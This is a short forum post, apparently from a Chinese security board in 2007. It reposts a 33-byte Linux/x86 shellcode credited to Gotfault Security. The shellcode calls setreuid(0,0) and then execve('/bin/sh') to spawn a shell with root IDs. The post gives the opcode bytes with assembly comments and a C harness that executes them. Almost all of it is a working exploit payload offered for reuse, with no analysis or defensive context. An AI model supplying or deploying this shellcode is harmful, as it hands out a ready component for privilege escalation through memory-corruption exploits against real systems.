猪猪 2007-2-2 22:14
linux/x86 setreuid(0,0) execve...
linux/x86 setreuid(0,0) execve("/bin/sh", ["/bin/sh", NULL]) 33 bytes
文章作者：Gotfault Security
[code]/*
* (Linux/x86) setreuid(0,0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 33 bytes
* - [email]xgc@gotfault.net[/email]
*
*/
char shellcode[] =
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\x31\xc9" // xor %ecx, %ecx
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}[/code]